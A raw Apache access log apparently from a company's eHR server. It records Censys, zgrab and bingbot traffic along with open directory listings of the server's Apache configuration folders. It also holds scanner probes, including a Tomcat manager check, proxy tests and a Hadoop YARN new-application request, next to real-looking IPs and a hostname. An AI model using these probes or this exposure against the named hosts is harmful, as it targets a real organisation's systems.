+https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:03:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [01/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 280 100.64.0.1 - - [01/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:00 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 100.64.0.1 - - [01/Dec/2025:03:04:01 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:01 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [01/Dec/2025:03:04:02 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:02 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original HTTP/1.1" 301 289 100.64.0.1 - - [01/Dec/2025:03:04:03 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:03 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [01/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 100.64.0.1 - - [01/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original/ HTTP/1.1" 200 566 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf/original" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:05 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/original/ HTTP/1.1" 200 566 100.64.0.1 - - [01/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:06 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra HTTP/1.1" 301 286 100.64.0.1 - - [01/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra/ HTTP/1.1" 200 1110 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/conf/extra" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:07 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/extra/ HTTP/1.1" 200 1110 100.64.0.1 - - [01/Dec/2025:03:04:08 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:08 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [01/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [01/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [01/Dec/2025:03:04:37 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:03:04:37 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:03:04:40 +0800] "GET /wiki HTTP/1.1" 404 202 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:03:04:40 +0800] "GET /wiki HTTP/1.1" 404 202 100.64.0.1 - - [01/Dec/2025:03:12:55 +0800] "GET /manager/text/list HTTP/1.1" 404 215 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [01/Dec/2025:03:12:55 +0800] "GET /manager/text/list HTTP/1.1" 404 215 100.64.0.1 - - [01/Dec/2025:03:14:45 +0800] "GET /manager/text/list HTTP/1.1" 404 215 100.64.0.1 - - [01/Dec/2025:03:14:45 +0800] "GET /manager/text/list HTTP/1.1" 404 215 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [01/Dec/2025:03:46:34 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:03:46:34 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:03:46:38 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:03:46:38 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:04:07:38 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:04:07:38 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:04:07:44 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:07:44 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:04:07:46 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [01/Dec/2025:04:07:46 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [01/Dec/2025:04:07:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:04:07:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:07:56 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:07:56 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:04:07:57 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:07:57 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [01/Dec/2025:04:07:57 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:07:57 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:02 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:02 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [01/Dec/2025:04:08:03 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:03 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:04 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:04 +0800] "GET /idcard HTTP/1.1" 301 242 100.64.0.1 - - [01/Dec/2025:04:08:04 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:04 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:05 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:05 +0800] "GET /eHR HTTP/1.1" 301 239 100.64.0.1 - - [01/Dec/2025:04:08:06 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:06 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:07 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:07 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [01/Dec/2025:04:08:07 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:07 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [01/Dec/2025:04:08:09 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:09 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [01/Dec/2025:04:08:11 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:11 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [01/Dec/2025:04:08:13 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:13 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [01/Dec/2025:04:08:13 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:13 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [01/Dec/2025:04:08:15 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 100.64.0.1 - - [01/Dec/2025:04:08:15 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:15 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [01/Dec/2025:04:08:15 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:04:08:26 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:26 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [01/Dec/2025:04:08:30 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:30 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:31 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:31 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [01/Dec/2025:04:08:32 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:32 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:32 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:04:08:32 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:04:08:33 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:33 +0800] "GET /idcard HTTP/1.1" 301 242 100.64.0.1 - - [01/Dec/2025:04:08:34 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:34 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [01/Dec/2025:04:08:34 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:34 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 100.64.0.1 - - [01/Dec/2025:04:08:34 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:34 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [01/Dec/2025:04:08:35 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:35 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [01/Dec/2025:04:08:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [01/Dec/2025:04:08:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [01/Dec/2025:04:08:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 100.64.0.1 - - [01/Dec/2025:04:08:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [01/Dec/2025:04:08:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 100.64.0.1 - - [01/Dec/2025:04:16:41 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:04:16:41 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [01/Dec/2025:04:16:46 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:04:16:46 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [01/Dec/2025:04:41:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [01/Dec/2025:04:41:54 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [01/Dec/2025:05:08:13 +0800] "GET /eHR/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:13 +0800] "GET /eHR/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [01/Dec/2025:05:08:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [01/Dec/2025:05:08:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [01/Dec/2025:05:08:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [01/Dec/2025:05:08:33 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:33 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [01/Dec/2025:05:08:37 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:37 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [01/Dec/2025:05:08:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:08:37 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 